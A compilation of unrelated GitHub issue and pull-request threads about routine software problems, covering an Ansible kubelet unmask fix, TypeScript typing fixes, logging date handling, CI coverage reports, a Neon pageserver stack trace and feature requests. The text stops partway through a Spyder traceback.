[Ansible] Unable to enable service kubelet

OS: Ubuntu 16.04 server
Running basic script as is in the contrib/ansible. Just changed master, nodes, etc in the inventory. When it gets to the node(s) this error results
TASK [node : Enable kubelet] *******************************************************************************************
fatal: [<IP_ADDRESS>]: FAILED! => {"changed": false, "failed": true, "msg": "Unable to enable service kubelet: Failed to execute operation: Unit file is masked\n"}
This is on a fresh install of Ubuntu 16.04 server, 1 master/etcd and 1 node to test before I expand to all  my servers.
Thoughts? Help?
Thanks
DB

Here is how I was able to resolve this...
In ansible/roles/node/tasks/kubelet-configure.yml put a task as follows:

name: unmask kubelet
command: systemctl unmask kubelet.service

Put this right before ....

name: Setting the kubelet_modified fact to true
set_fact:
kubelet_modified: true

This takes care of the above issue
DB


fix some types in 5.4.0-rc.2

Description of change

Fixes a couple of incorrect types after upgrading to to the pre-release

.from function now have optional options
export TLoaderResource as this is the type of LoaderResource
make context optional in Ticker.add, Ticker.remove
update RenderTexture.baseTexture to be type BaseRenderTexture
make options optional in destroy functions for anything extending DisplayObejct

Codecov Report

Merging #7006 (0d53fd3) into dev (fc4ca30) will not change coverage.
The diff coverage is n/a.

@@            Coverage Diff            @@
##               dev     #7006   +/-   ##
=========================================
  Coverage   100.00%   100.00%
=========================================
  Files           15        15
  Lines          671       671
=========================================
  Hits           671       671

Continue to review full report at Codecov.

Legend - Click here to learn more
Δ = absolute <relative> (impact), ø = not affected, ? = missing data
Powered by Codecov. Last update fc4ca30...0d53fd3. Read the comment docs.

What about using generics for RenderTexture... e.g. extends Texture<BaseRenderTexture> then you don't have to do some much casting and you can avoid overriding baseTexture. Otherwise this is great fixes.

@themoonrat @bigtimebuddy sorry guys i found a lot more, opened this a little early.  If you guys dont mind re-reviewing
@bigtimebuddy Sure ill look into making it a generic
Also does anyone know if TextStyle.constructor should be optional?
deepCopyProperties(this, style, style); this part confused me

@bigtimebuddy ok made Texture generic

ok made Texture generic

wait wait wait WHAT?
yeah, its old idea to make it generic because BaseRenderTexture, but honestly, its rudiment. We had VideoBaseTexture before, but we removed it in favor of resources.
Its better to add interface for BaseRenderTexture fields in RenderTexture itself.
My advice is to make it in separate PR

Alternative: add castToRT() into both Texture and BaseTexture

@ivanpopelyshev ok I have reverted this change so it doesn't block fixing the rest of the types

Thank you @Zyie


fix(akita): support TS strict mode

This is a quick spike created to find out a way to fix akita for Angular 15+ in strict mode
Refs: salesforce/akita#870

The first thing I've tried is to enable strict: true for this monorepo and fix them - but the amount of errors in such case is pretty significant 🥵
After that, I tried to fix only TS errors that I found while consuming<EMAIL_ADDRESS>in my project. And such approach helped me to decrease the API surface to a couple of places, which was somehow fixed in this draft/spike #1050.
Interestingly, #1050 already allowed me to consume akita in Angular 15 project with a strict mode (and without skipLibCheck).
But unfortunately:

I'm not confident in these TS-related changes (don't have a big project to test on)
I want to find a proper tsconfig configuration that will help with the reproduction of the initial issue for future contributors

So any recommendations on these 2 subjects are welcome!
Also, I'm totally ok if someone wants to use my spike to fix this issue ❤

@Den-dp do you have any idea why the PR build fails?
When I run npm run build:all with your changes I do not get any errors ...

@qnku thanks for your interest!
TL;DR: CI fails cause of nx-related misconfiguration, so not really relevant (also I already have a fix ✔ for that)
Where I need some help is in testing these changes on a real code with a strict mode enabled 😉
It's relatively simple:
# build akita and pack it
npx nx build akita
cd dist/packages/akita
npm pack

# install it in your project using full path to the datorama-akita-8.0.0.tgz
npm i C:\github\akita\dist\packages\akita\datorama-akita-8.0.0.tgz

But if you are really interested in "why it works on your machine and doesn't on CI" then here are my findings:

npm run build:all fails on CI because nx is not configured to build ng-entity-service and ng-router-store after akita (it tries to build them all in parallel which is not possible)
It might work on your PC cause you probably already have akita artifacts in dist folder so nx is able to build the remaining two libs (can repro it by running npm run build:all twice)

@Den-dp Thanks for the quick update.
We have a medium sized application and use the stores almost everywhere.
I can confirm that the build errors we previously got with the 8.0.0 release and Angular 15 do not occur anymore with your fix. Also found no runtime errors during my tests (which I didn't expect anyway, since you just changed the typings).
For the test I used your installation instruction, turned skipLibChecks off again. Strict mode has always been on.
Very happy, hoping for a release soon :-)

Hey @Den-dp, thanks for the effort 👍
I have tested your changes in an Angular 15 project with strict mode enabled. No more type/compilation errors. My stores of type Store and of type EntityStore are working fine.
Perhaps the CI/CD/build problem should be addressed in a different issue/PR. That's probably not directly related to the strict mode issue.
Do you want to remove the draft state of this PR and ping Netanel?

Thanks for your help @qnku @nunoarruda!
I've converted this Draft into PR, updated the description with your feedback, and also provided a CI fix.

Initially, I wanted to find out what is the best way to repro the issue using this repo, so that acceptance criteria for #870 would be more straightforward and obvious.
The only solution I came up with is to convert the ng-playground app from this repo into strict and switch it to use compiled libs from dist (the last one helps us by not obliging to fix all akita strict issues but only d.ts related).
But the ng-playground is big too and requires more time so I will do it in the next PR


TypeError in utils.js

Getting an error with this module on version 1.0.7
Here it is:
TypeError: undefined is not a function
    at ...node_modules/bunyan-debug-stream/lib/utils.js:31:25

The error references to the fact that in this file you do a date.get... but date is an ISOString and not an object.
Thanks for this great work!

Sorry for not replying to this earlier - was on vacation when you raised it, and I missed it.
How are you getting an ISOString out of bunyan?  What version of bunyan are you using?  Easy enough to add a date = new Date(date) here if we need to, though.

I think by adding time variable will fix this issue.
  const bunyanDebugStream = require('bunyan-debug-stream');
  // stream: process.stdout,
  const stream = bunyanDebugStream({
    basepath: __dirname, // this should be the root folder of your project.
    forceColor: true,
  });
  streams = [{
    level: level || 'debug',
    type: 'stream',
    stream,
  }];
}
const logger = bunyan.createLogger({
  name: app,
  time: Date,
  streams
});

Same issue here... using<EMAIL_ADDRESS>

:tada: This issue has been resolved in version 1.1.1 :tada:
The release is available on:

npm package (@latest dist-tag)
GitHub release

Your semantic-release bot :package::rocket:

@benbriadeploy is a robot.  :)  But no problem.

Also, I fixed this by making it so if entry.time is not a Date, then we just call toString() on it, which might be fantastically ugly (I have no idea how all of you are getting non-Dates into this field, so I don't know what to do here.  :P)  But, I also just added a feature in 2.0.0 that makes it so you can do something like:
new BunyanDebugStream({
    showDate: (time, entry) => return time.toISOString()
});

and then you can specify whatever kind of date format you want.


[LC0002] Some leading and trailing comments are no longer detected

Hello,
We have recently been getting warnings about the rule "LC0002" even though the actual rule is being followed.

It looks like line commentaries with // are no longer detected, but commentary blocks /* */ are.
Is that intentional? A few days ago, line comments with // where detected.
Please try the following code:
    local procedure CommitSomeThing()
    begin
        //commit is justified
        Commit();

        Commit(); //commit is justified

        /*commit is justified */
        Commit();

        Commit(); /*commit is justified */
    end;

Thanks for the notification, this is because AL Runtime version 9 seems to be released today and I need to do a recompile against that version, Pipeline is already running, you can expect a fix within the next minutes

This should be fixed now with version v0.25.1

Thanks a lot.


[SP-3171] - Backport of PDI-14420 - Excel Output with Append option i…

…s not working (7.0 Suite)

create new file if it does not exist and template flag is set

Build Completed
:fire: This pull request has some issues. It would be preferable to fix them in order for it to be just perfect. See below for more details. Some links are also available below for further assistance in addressing those issues.
Build Commands
ant -Dtestreports.dir=bin/reports/unit-test -f engine/build.xml clean-all resolve jacoco && ant -Dtestreports.dir=bin/reports/integration-test -f engine/build.xml jacoco-integration checkstyle publish-local

Cleanup Commands
rm -r ~/.ivy2/local || echo no publish local to remove

Changed files
  engine/src/org/pentaho/di/trans/steps/exceloutput/ExcelOutput.java

Newly Fixed Tests:
org.pentaho.di.trans.TransTest.transWithNoStepsIsNotEndless:
:large_blue_circle: java.lang.Exception
java.lang.Exception: test timed out after 1000 milliseconds
	at java.lang.ClassLoader.defineClass1(Native Method)
	at java.lang.ClassLoader.defineClass(ClassLoader.java:760)
	at java.security.SecureClassLoader.defineClass(SecureClassLoader.java:142)
	at java.net.URLClassLoader.defineClass(URLClassLoader.java:467)
	at java.net.URLClassLoader.access$100(URLClassLoader.java:73)
	at java.net.URLClassLoader$1.run(URLClassLoader.java:368)
	at java.net.URLClassLoader$1.run(URLClassLoader.java:362)
	at

Unit test coverage change
These statistics help you identify how your changes have affected the coverage of the following files. If a file is not in this list, then its coverage was not affected by your changes. To get some help interpreting these metrics, please refer to Jacoco's documentation.
org.pentaho.di.job.entries.evalfilesmetrics.JobEntryEvalFilesMetrics

Branch Change:  + .78%
Complexity Change:  + 1.03%
Instruction Change:  + .16%

org.pentaho.di.job.entries.evaluatetablecontent.JobEntryEvalTableContent

Branch Change: -1.01%:small_red_triangle_down:
Complexity Change: -1.06%:small_red_triangle_down:
Instruction Change: -.17%:small_red_triangle_down:

org.pentaho.di.job.entries.sql.JobEntrySQL

Instruction Change:  + 3.28%
Line Change:  + 3.87%

org.pentaho.di.trans.step.StepMeta

Instruction Change:  + .19%
Line Change:  + .27%

org.pentaho.di.trans.steps.checksum.CheckSumMeta

Instruction Change:  + .11%

org.pentaho.di.trans.steps.constant.ConstantMeta

Instruction Change:  + .10%

org.pentaho.di.trans.steps.csvinput.CsvInputMeta

Instruction Change: -.05%:small_red_triangle_down:

org.pentaho.di.trans.steps.dbproc.DBProcMeta

Instruction Change: -.11%:small_red_triangle_down:

org.pentaho.di.trans.steps.dimensionlookup.DimensionLookupMeta

Branch Change: -.66%:small_red_triangle_down:
Complexity Change: -.41%:small_red_triangle_down:
Instruction Change: -.50%:small_red_triangle_down:
Line Change: -.24%:small_red_triangle_down:

org.pentaho.di.trans.steps.exceloutput.ExcelOutput

Branch Change: -.18%:small_red_triangle_down:
Complexity Change: -.09%:small_red_triangle_down:
Instruction Change: -.05%:small_red_triangle_down:

org.pentaho.di.trans.steps.groupby.GroupByMeta

Instruction Change:  + .14%
Line Change:  + .37%

org.pentaho.di.trans.steps.ldapoutput.LDAPOutputMeta

Instruction Change:  + .06%

org.pentaho.di.trans.steps.memgroupby.MemoryGroupByMeta

Branch Change:  + 3.53%
Complexity Change:  + 4.05%
Instruction Change:  + .35%
Line Change:  + .97%

org.pentaho.di.trans.steps.singlethreader.SingleThreaderMeta

Instruction Change:  + .08%

org.pentaho.di.trans.steps.sort.SortRowsMeta

Instruction Change: -.08%:small_red_triangle_down:

org.pentaho.di.trans.steps.synchronizeaftermerge.SynchronizeAfterMergeMeta

Instruction Change:  + .04%

org.pentaho.di.trans.steps.tableoutput.TableOutputMeta

Branch Change:  + .91%
Complexity Change:  + .82%


Update trezor-bridge to 2.0.9

After making all changes to the cask:

[x] brew cask audit --download {{cask_file}} is error-free.
[x] brew cask style --fix {{cask_file}} left no offenses.
[x] The commit message includes the cask’s name and version.

Thanks for the PR!


Spear Dancer feat listed as a passive

This feat is set as a Passive in the system; according to Pathbuilder, Demiplane, and Tikael, it is 1 action.

https://app.demiplane.com/nexus/pathfinder2e/feats/spear-dancer-rm

I don’t trust either pathbuilder or Demiplane as primary sources, but I will accept @TikaelSol


User > Badge: Handle badge of users according if it has been already used

Badge Delete

[x] You cannot delete a badge that has already been used but you can deactivate it.
[x] In the case, the badge list must be retrieved with the number of sessions which can also be displayed in a new column named 'Nbr of Sessions'.
[x] When the number of session > 0, the delete button is disabled (check to be done also in the backend).

Badge Activate/Deactivate

[x] Deactivate/Activate row action per badge row is a new feature in the UI in addition to the Delete per badge always active.
[x] When the badge is active, only the Delete and Deactivate button are visible
[x] When Deactivate clicked, a confirmation dialog explaining that the badge will be deactivated and cannot be used anymore to start a session.
[x] If the user validates the dialog, the badge is marked Inactive meaning a new column in the UI named Status has to be added with value 'Active' or 'Inactive' with a Badge control like User Status.
[x] When the user clicks on Save, a call is done in the backend and badges are saved with a new prop named 'inactive' set to true in the tags collection. Delete/Update of badges have to be checked in the backend also.
[x] When deactivated, the button Deactivate in then no longer visible and a new one appears named Activate.
[x] The Admin can reactivate them again and Save.

Backend

[x] If the badge is inactive, the authorization during a start transaction is rejected and the error message is logged in the backend.
[x] When you have an orphan badge in the DB, it should be deleted (migration task to clean up). This should never happen. Nevertheless, the use case should be handled properly with a comprehensive error message in the backend

User Delete

[x] If the user has no session, user and its badges are deleted from the DB.
[x] If the user has at least one session, it has to be logically deleted with its props anonymized as done today and the badges with at least one session have to be deactivated, the others are deleted.
[x] All the rules above have to be enforced in the backend.

Unit Tests

[ ] Provide unit tests for all the cases above (you can work with Mehdi for that part)

@mahdibenromdhane : Could you please take care of this ASAP? Thanks in advance.

[ ] Provide unit tests for all the cases above (you can work with Mehdi for that part)

@mahdibenromdhane : Could you please take care of this ASAP? Thanks in advance.

[ ]  Provide unit tests for all the cases above (you can work with Mehdi for that part)

Okey

@fcoutellier pending, failed locally when testing.  @mahdibenromdhane  will have a look later


Added Error Injection/Simulation to the Cloud Mock Layer.

This commit added the error injection interface to CloudDestination and implemented it in cloud mock layer.
It opened up the code path to pass the StoreException from cloud mock layer to client.
Test cases are added to verify the error simulation.

Codecov Report

Merging #2017 (fb7ff96) into master (73e6c95) will decrease coverage by 26.84%.
The diff coverage is 30.00%.

@@              Coverage Diff              @@
##             master    #2017       +/-   ##
=============================================
- Coverage     73.82%   46.97%   -26.85%
+ Complexity     9931     5938     -3993
=============================================
  Files           709      709
  Lines         54233    54247       +14
  Branches       6736     6738        +2
=============================================
- Hits          40037    25485    -14552
- Misses        12071    26625    +14554
- Partials       2125     2137       +12

Impacted Files
Coverage Δ

...in/java/com/github/ambry/cloud/CloudBlobStore.java
46.50% <0.00%> (-30.01%)
:arrow_down:

...ithub/ambry/cloud/azure/AzureCloudDestination.java
0.00% <0.00%> (-72.78%)
:arrow_down:

...hub/ambry/network/LocalRequestResponseChannel.java
0.00% <0.00%> (-89.59%)
:arrow_down:

...va/com/github/ambry/clustermap/MockClusterMap.java
64.60% <50.00%> (-27.65%)
:arrow_down:

...rc/main/java/com/github/ambry/quota/QuotaMode.java
0.00% <0.00%> (-100.00%)
:arrow_down:

...rc/main/java/com/github/ambry/quota/QuotaName.java
0.00% <0.00%> (-100.00%)
:arrow_down:

...rc/main/java/com/github/ambry/rest/RestMethod.java
0.00% <0.00%> (-100.00%)
:arrow_down:

...c/main/java/com/github/ambry/router/ByteRange.java
0.00% <0.00%> (-100.00%)
:arrow_down:

...main/java/com/github/ambry/commons/Thresholds.java
0.00% <0.00%> (-100.00%)
:arrow_down:

...main/java/com/github/ambry/config/QuotaConfig.java
0.00% <0.00%> (-100.00%)
:arrow_down:

... and 424 more

Continue to review full report at Codecov.

Legend - Click here to learn more
Δ = absolute <relative> (impact), ø = not affected, ? = missing data
Powered by Codecov. Last update 73e6c95...fb7ff96. Read the comment docs.


could not ingest record, layer needs downloading

To test on-demand download, I initialized a database, and launched pgbench on it. While it was running, I deattached and re-attached the tenant. After that, I got these errors in the log:
2022-12-29T16:54:34.786364Z ERROR wal_connection_manager{tenant=c81c749a2cc2a30edb356f6bd6c65fa2 timeline=184e43e1d6396baf76cb971984141d04}: wal receiver task finished with an error: walreceiver connection handling failure

Caused by:
    0: could not ingest record at 0/62E34590
    1: Failed to reconstruct the page
    2: Layer needs downloading

Stack backtrace:
   0: pageserver::tenant::timeline::with_ondemand_download::{{closure}}
             at /home/nonroot/pageserver/src/tenant/timeline.rs:3351:28
      <core::future::from_generator::GenFuture<T> as core::future::future::Future>::poll
             at /rustc/e092d0b6b43f2de967af0887873151bb1c0b18d3/library/core/src/future/mod.rs:91:19
      pageserver::walreceiver::walreceiver_connection::handle_walreceiver_connection::{{closure}}
             at /home/nonroot/pageserver/src/walreceiver/walreceiver_connection.rs:261:27
   1: <core::future::from_generator::GenFuture<T> as core::future::future::Future>::poll
             at /rustc/e092d0b6b43f2de967af0887873151bb1c0b18d3/library/core/src/future/mod.rs:91:19
      pageserver::walreceiver::connection_manager::WalreceiverState::change_connection::{{closure}}::{{closure}}::{{closure}}
             at /home/nonroot/pageserver/src/walreceiver/connection_manager.rs:406:18
...

Do you have a longer trace for this? A couple of more stack levels would be nice to see.

I cut the trace where the interesting stuff ended, but sure, here's a full trace:
2022-12-29T16:54:34.769023Z ERROR wal_connection_manager{tenant=c81c749a2cc2a30edb356f6bd6c65fa2 timeline=184e43e1d6396baf76cb971984141d04}: wal receiver task finished with an error: walreceiver connection handling failure

Caused by:
    0: could not ingest record at 0/62E34590
    1: Failed to reconstruct the page
    2: Layer needs downloading

Stack backtrace:
   0: pageserver::tenant::timeline::with_ondemand_download::{{closure}}
             at /home/nonroot/pageserver/src/tenant/timeline.rs:3351:28
      <core::future::from_generator::GenFuture<T> as core::future::future::Future>::poll
             at /rustc/e092d0b6b43f2de967af0887873151bb1c0b18d3/library/core/src/future/mod.rs:91:19
      pageserver::walreceiver::walreceiver_connection::handle_walreceiver_connection::{{closure}}
             at /home/nonroot/pageserver/src/walreceiver/walreceiver_connection.rs:261:27
   1: <core::future::from_generator::GenFuture<T> as core::future::future::Future>::poll
             at /rustc/e092d0b6b43f2de967af0887873151bb1c0b18d3/library/core/src/future/mod.rs:91:19
      pageserver::walreceiver::connection_manager::WalreceiverState::change_connection::{{closure}}::{{closure}}::{{closure}}
             at /home/nonroot/pageserver/src/walreceiver/connection_manager.rs:406:18
      <core::future::from_generator::GenFuture<T> as core::future::future::Future>::poll
             at /rustc/e092d0b6b43f2de967af0887873151bb1c0b18d3/library/core/src/future/mod.rs:91:19
   2: <tracing::instrument::Instrumented<T> as core::future::future::Future>::poll
             at /home/nonroot/.cargo/registry/src/github.com-1ecc6299db9ec823/tracing-0.1.37/src/instrument.rs:272:9
   3: pageserver::walreceiver::TaskHandle<E>::spawn::{{closure}}
             at /home/nonroot/pageserver/src/walreceiver.rs:118:55
      <core::future::from_generator::GenFuture<T> as core::future::future::Future>::poll
             at /rustc/e092d0b6b43f2de967af0887873151bb1c0b18d3/library/core/src/future/mod.rs:91:19
   4: tokio::runtime::task::core::CoreStage<T>::poll::{{closure}}
             at /home/nonroot/.cargo/registry/src/github.com-1ecc6299db9ec823/tokio-1.21.1/src/runtime/task/core.rs:184:17
      tokio::loom::std::unsafe_cell::UnsafeCell<T>::with_mut
             at /home/nonroot/.cargo/registry/src/github.com-1ecc6299db9ec823/tokio-1.21.1/src/loom/std/unsafe_cell.rs:14:9
      tokio::runtime::task::core::CoreStage<T>::poll
             at /home/nonroot/.cargo/registry/src/github.com-1ecc6299db9ec823/tokio-1.21.1/src/runtime/task/core.rs:174:13
      tokio::runtime::task::harness::poll_future::{{closure}}
             at /home/nonroot/.cargo/registry/src/github.com-1ecc6299db9ec823/tokio-1.21.1/src/runtime/task/harness.rs:480:19
      <core::panic::unwind_safe::AssertUnwindSafe<F> as core::ops::function::FnOnce<()>>::call_once
             at /rustc/e092d0b6b43f2de967af0887873151bb1c0b18d3/library/core/src/panic/unwind_safe.rs:271:9
   5: std::panicking::try::do_call
             at /rustc/e092d0b6b43f2de967af0887873151bb1c0b18d3/library/std/src/panicking.rs:492:40
      std::panicking::try
             at /rustc/e092d0b6b43f2de967af0887873151bb1c0b18d3/library/std/src/panicking.rs:456:19
      std::panic::catch_unwind
             at /rustc/e092d0b6b43f2de967af0887873151bb1c0b18d3/library/std/src/panic.rs:137:14
      tokio::runtime::task::harness::poll_future
             at /home/nonroot/.cargo/registry/src/github.com-1ecc6299db9ec823/tokio-1.21.1/src/runtime/task/harness.rs:468:18
      tokio::runtime::task::harness::Harness<T,S>::poll_inner
             at /home/nonroot/.cargo/registry/src/github.com-1ecc6299db9ec823/tokio-1.21.1/src/runtime/task/harness.rs:104:27
      tokio::runtime::task::harness::Harness<T,S>::poll
             at /home/nonroot/.cargo/registry/src/github.com-1ecc6299db9ec823/tokio-1.21.1/src/runtime/task/harness.rs:57:15
   6: std::thread::local::LocalKey<T>::with
   7: tokio::runtime::scheduler::multi_thread::worker::Context::run_task
   8: tokio::runtime::scheduler::multi_thread::worker::Context::run
   9: tokio::macros::scoped_tls::ScopedKey<T>::set
  10: tokio::runtime::scheduler::multi_thread::worker::run
  11: <tokio::runtime::blocking::task::BlockingTask<T> as core::future::future::Future>::poll
  12: tokio::runtime::task::harness::Harness<T,S>::poll
  13: tokio::runtime::blocking::pool::Inner::run
  14: std::sys_common::backtrace::__rust_begin_short_backtrace
  15: core::ops::function::FnOnce::call_once{{vtable.shim}}
  16: <alloc::boxed::Box<F,A> as core::ops::function::FnOnce<Args>>::call_once
             at /rustc/e092d0b6b43f2de967af0887873151bb1c0b18d3/library/alloc/src/boxed.rs:1872:9
      <alloc::boxed::Box<F,A> as core::ops::function::FnOnce<Args>>::call_once
             at /rustc/e092d0b6b43f2de967af0887873151bb1c0b18d3/library/alloc/src/boxed.rs:1872:9
      std::sys::unix::thread::Thread::new::thread_start
             at /rustc/e092d0b6b43f2de967af0887873151bb1c0b18d3/library/std/src/sys/unix/thread.rs:108:17
  17: start_thread
  18: clone

I can reproduce this locally, if you have ideas where to look.

Closing for age


generalize: enable gitgitgadget use in other projects

Feedback Needed
This is a first draft to make gitgitgadget work with projects through a config file.  While the patches affect many files, there is little logic change.  The last couple of commits came about while testing.
Looking for agreement on method and suggestions on names used.  There are other issues to be addressed.  Many are mentioned in my disorganized ggguser/readme.
First draft
Note, there is basic testing with an alternate config with npm run test:config.
A POC is in progress using three repos.

ggguser represents a gitgitgadget user project - a project using ggg with some customizations.
gggmonitored is the equivalent of gitgitgadget/git
gggmail is the equivalent of a mail repo like lore.git.

ggguser has an expanding workflow(s) to create a usable model.  It can generate configurations and run misc-helper commands.
Commits
MailArchiveGitHelper - add branch name to config
The default branch on the mail repo needs to be configurable.
Add init-gitgitgadget-options to misc-helper
Allow easy setup for new projects.  The passed user name will be set in the allowedUsers.
gitgitgadget.publishremote must be set in the git config.
extensible: introduce product-config feature
Change most git specific references to use a configuration that can be loaded at run-time.  The configuration may be javascript (native or ts generated) or json.  It can be specified using --config= parameter to misc-helper script.

I like the direction!

I like the direction!

If you are confident with this change, can we merge it and I will address your comments in a separate PR?  There may be other things that show up while I continue with the POC.
I can then get feedback from the ffmpeg person.  This should address most of the changes in the ffstaging/gitgitgadget repo.

If you are confident with this change, can we merge it and I will address your comments in a separate PR?

Sounds good!

I can then get feedback from the ffmpeg person.

Or maybe @lucasdemarchi (see https://github.com/gitgitgadget/gitgitgadget/issues/690).

One small nit - if it isn't asked too much: I absolutely welcome the removal of excessive line wrapping. Would it be possible though, to isolate these changes into a separate commit?

Sorry but I think misc-helper.ts is the only one with a bit of unwrapping in this PR and mostly (but not all) related to where other changes were made.  As it is, you may be able to use it unchanged now with your own config.  Most unwrapping was done in separate PRs in preparation for this.
See here for notes I made while making changes and reviewing your changes in ffstaging.  The intent is to make it usable with no changes.  That means the plumbing will still use ggg names but that should not be a problem.  The sous chef code is still present but you don't have those emails to process.
Once this is in, some other ggg specific code can be removed (magic commits, project-options stuff).

Sorry but I think misc-helper.ts is the only one with a bit of unwrapping in this PR

mail-archive-helper.ts, patch-series.ts -> but let's forget about that. I can handle it. :-)

As it is, you may be able to use it unchanged now with your own config.

Well - I hadn't expected that. This would be totally awesome of course!
Still, I'll need to go through all of the changes, but I'm really looking forward to the possibility of getting even to the original repo and doing future enhancements in-sync :-)

Still, I'll need to go through all of the changes, but I'm really looking forward to the possibility of getting even to the original repo and doing future enhancements in-sync :-)

Might be easier to look at diffs of your changes to prior code and then look at current code.

Might be easier to look at diffs of your changes to prior code and then look at current code.

Yes, but I think I'll need to go both ways. This one and the other one to determine the changes that have been made since the fork.

the other one to determine the changes that have been made since the fork

Other changes were all done with your changes in mind.  If you have questions about any changes (about what they may or may not cover), feel free to ask.


[REQUEST] Shortcut key to select Terrain tab or other possible suggestions

I'm spending a lot of time using this plugin. One thing that would make the work flow much better is to have the Terrain section remember if it was the last used section and open automatically, or some other suggestions:

Make it shortcut keyable, so when you click on a TileMap node you can shortcut key to open the Terrain tab. Not sure if this is possible.
Make it to where when you click on a TileMap node it auto remembers where you were and go to Terrain tab if you were on it.
Maybe move the Terrain from your plugin to be nested inside the TileMap under the sub BetterTerrain tab or something, that way it remembers what tab you were on with the built in Godot functionality. The regular TileMap does this with it's tabs (Tiles, Patterns, Terrains) and it makes it really nice for back and forth workflow. I know clicking on a TileMap node goes to the TileMap section no matter what, so I'm not sure how this would be possible.... but if it is I figured I wanted to bring this up.

The above ideas were just my initial thoughts, there could be a better way I'm sure. Thanks for reading and the plugin!

For points 1 and 2, the system by which the editor holds the different docks is not controlled by the plugin. The dock button is made available, so I will experiment with adding a shortcut to it. Do other docks have shortcut keys? I'll have to check.
As for point 3, a lot of research was done into integrating the docks together. It can be done to an extent, but it's very messy and a little bit unstable (certain sequences of actions can cause the engine to crash completely). The goal was to allow the layer tools (highlight, select) to be synchronised between the terrain plugin and the tilemap dock. This kind of solution would be really nice, if the technical problems could be overcome.

I came here to create an issue mentioned in point 2. With layers replacing the Tile Map, I have to switch to the Terrain tab every time I switch to another layer, which I do constantly. It would be great if the state of the Terrain tab could be stored, ideally remembering the selected terrain type for each layer. I think it's an essential feature.

Have you been using  the tile-map-layers branch? It has the layer swap buttons from the TileMap dock which allow you to change TileMapLayer without changing your dock or selection settings. Other than that, there isn't a whole lot that can be done, as the dock behaviour is controlled by Godot engine.

I haven't noticed it initially. Now I'm using it more often but it's still not as intuitive as selecting the layer in the Scene hierarchy as there's no name displayed. Instead I mostly use Page Up/Page Down shortcuts to navigate.


Demo environment for SmartRural

Build a demo environment for SmartRural sales calls, base it on the dataset of their choice and achieve:

[ ] A more "agro look"
[ ] Spanish locale that is agriculture-specific ("parcelas", not "mapas")
[ ] Custom logo, avatars
[ ] Multiple users (both viewer and admin) under the smartrural organization
[ ] Raster as well as discrete data sets (should we include the "heladas" sample as GeoJSON?)
[ ] Working email notifications

Optional / future:

[ ] Sample data library datasets (temperature, sensors, etc.)
[ ] DNS subdomain
[ ] Mobile app for viewing and basic data input

Giving over to @MariaCheca so she can decide how much to tackle this milestone.

🌈

We should split this work out into smaller / more digestible bits (week-long at most) so we can start putting them on the new kanban view.  It's also smarter project management when you divide an conquer in smaller increments, am-I-rite?

Sure! Let me do it :)

Closing. Most of these tasks has been archived with Fruit-Attraction milestone.


Implement static/block_factory.html

Allows to R/W new block definitions, similarly to the demo one.

Done


chore: update Contributing docs

Updates contributing docs to reference handlebars files
@asudoh what other information should we add here about the handlebars config/template?

Thanks @asudoh! I will update the docs


Add 'simple' CA issuer

We should add a simple CA issuer that issues certificates given a named secret containing a CA public/private key.
This shows we can support different backends, and is also quite useful for those running internal CAs with no automation.

Nice! Could be useful as a test harness too.

This has been added in #79


Abandon cosmos-sdk-proto in favor of ibc-proto?

See issue here: https://github.com/cosmos/ibc-proto-rs/issues/182
I didn't create cosmos-sdk-proto, but where this repo was supposed to be a place for a multi-contributor collaborative effort, instead it's pretty much become a ghost town with me as the maintainer of last resort.

Closing in favor of #459


Better Blueprint World

This was my attempt to improve blueprint world

Still thinking on how reasonable is it to do these changes


Add CSV option

We've got to the stage where our jobs are big enough that Redshift loads are becoming a major bottleneck with its AVRO performance problems. We're hoping Amazon will fix them, but in the mean time we've started running with a modified spark-redshift to allow us to import via CSV (Redshift COPYs are running at least 5 times faster with this for us).
It's probably not a good idea to merge this in at the moment - I'm not sure how robust it is to different data types / unusual characters in strings etc., and it would at least need some tests and documentation. And hopefully Amazon will soon fix AVRO import making it unnecessary anyway. But I thought I'd share my changes in case they are useful to anyone else.

Current coverage is 75.07%

Merging #165 into master will decrease coverage by -13.99% as of ed40281

@@            master    #165   diff @@
======================================
  Files           13      13
  Stmts          649     662    +13
  Branches       144     146     +2
  Methods          0       0
======================================
- Hit            578     497    -81
  Partial          0       0
- Missed          71     165    +94

Review entire Coverage Diff as of ed40281

Powered by Codecov. Updated on successful CI builds.

Thanks for sharing. I'm glad to see that this was a relatively small change.
I agree that it's probably best to wait and see if Amazon speeds up Avro ingest; let's wait a couple of months and re-assess this feature later if there's significant interest / demand.


React Native freezing on promise/callback code in release mode

Description
Hey all,
I'm experiencing a very strange failure when attempting to use callbacks AND promises on Android 6.* with React Native. I am not experiencing this problem when I deploy on Android 7.* I am experiencing it both on devices and in the emulator.
Reproduction
This is the code snippet that's failing:
@ReactMethod
public void getAudioData(Promise promise){
   if(recording){
      int samplesCount = mService.recorder.getSampleCount();
      Log.d("getAudioData","Got samplesCount:" + samplesCount);
      if(samplesCount > MINSAMPLESIZE){
         String fileName = getFileName();
	//Create saver thread
	mService.recorder.finishUpChunk();
	short[] data = mService.recorder.getAudioData();
	encoder = new AudioEncoder(context, fileName,mService.recorder.getSampleRate());
	encoder.encode(data, mService.recorder.getSampleRate());
        WritableMap result = Arguments.createMap();

        result.putString("fileName",fileName);
        result.putInt("samplesCount",samplesCount);

	promise.resolve(result);
			}
			else{
				promise.reject("LowBufferError", "Buffer does not contain enough data for a new Ense.");
			}
		}
		else{
			promise.reject("NotRecordingError", "Not recording.");
		}
	}
   }

Refactored from previous code that was using callbacks.
Solution
Additional Information

React Native version: 0.40.0
Platform: Android
Operating System: MacOS

Nevermind, issue was in Java code called.

Hi @djohnkirby, what caused the issue for your case?


Xenium image and segmentation

Hello,
Thank you for this amazing tool! It has been so helpful in dealing with spatial data, especially in a way that is reasonable in terms of memory and resources.
I was wondering if there were plans of making a read.xenium function that would import the image and segmentation information into the anndata structure, similar to the read.nanostring function. The current xenium tutorial excludes the image and segmentations
Any help with this would be greatly appreciated!

Hi @Pointillomic, we developed a function to read Xenium data in the spatialdata-io package. We are gradually transitioning in using the new data structure [SpatialData](https://github.com/scverse/spatialdata/) in place of AnnData. Anyway SpatialData contains an AnnData object inside so you can easily adapt AnnData based workflows.


New IPython consoles or restart of kernel not working because of pkg_resources error

Description
What steps will reproduce the problem?

Stat spyder
try to create a new ipython console (in Consoles-> Open an IPython console

What is the expected output? What do you see instead?
A new console should appear but the new console immediately stops with the following error:
Error in sitecustomize; set PYTHONVERBOSE for traceback:
TypeError: 'NoneType' object is not callable
Traceback (most recent call last):
File "/pyzo2014a/lib/python3.4/site‑packages/spyderlib/widgets/externalshell/start_ipython_kernel.py", line 175, in
